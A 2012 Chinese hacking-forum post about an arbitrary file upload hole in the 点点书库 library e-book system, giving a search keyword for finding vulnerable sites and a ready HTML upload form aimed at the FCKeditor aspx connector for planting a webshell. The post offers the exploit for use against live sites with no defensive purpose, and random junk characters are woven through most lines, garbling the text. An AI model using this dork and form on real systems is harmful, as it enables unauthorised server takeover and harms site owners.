主题:图书馆系统任意文件上传漏洞
' @4 B3 X$ e# H! O0 E I# B 作者:冰锋刺客
+ h r v1 V0 U2 C1 E" v+ H 厂商:点击书(dianjishu.com)
: A, y- h" i. w1 [ 日期:2012-6-217 w5 t' `: A8 t3 ~- G$ {
* L2 r$ T7 ~ S. W1 z6 cI 概述+ X% Z1 g7 w9 j' ^, X0 Z) ^* o; p
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
6 i* f6 ^) _0 T' r# a) s II 简介" k2 ]4 g4 |0 T6 X7 Z
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"2 @" f& ~, b! V2 w; V
补充一个漏洞
9 Q3 M A# f, |( V5 Z <form id="frmUpload" enctype="multipart/form-data"
7 z6 K" S4 T. i0 X9 U action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
6 Z, q7 v, v6 m+ y <input id="btnUpload" type="submit" value="操翻他">
% A4 w" G8 Y3 s* E% ~' L2 K </form>' ~% w6 J2 J/ ?/ T6 y' ~5 h
你们懂的) i0 M( j) E/ |! k& y, k+ W
那傻逼提供还需要改包.
. ?7 H' v `3 R+ J6 Y 自己看了下源代码发现fckeditor
: F* ^: ~8 I S2 L( y; i 直接秒杀
S' V9 [. ~! i& t2 S8 R |
发表于 2012-9-10 21:20:59
收藏
支持
反对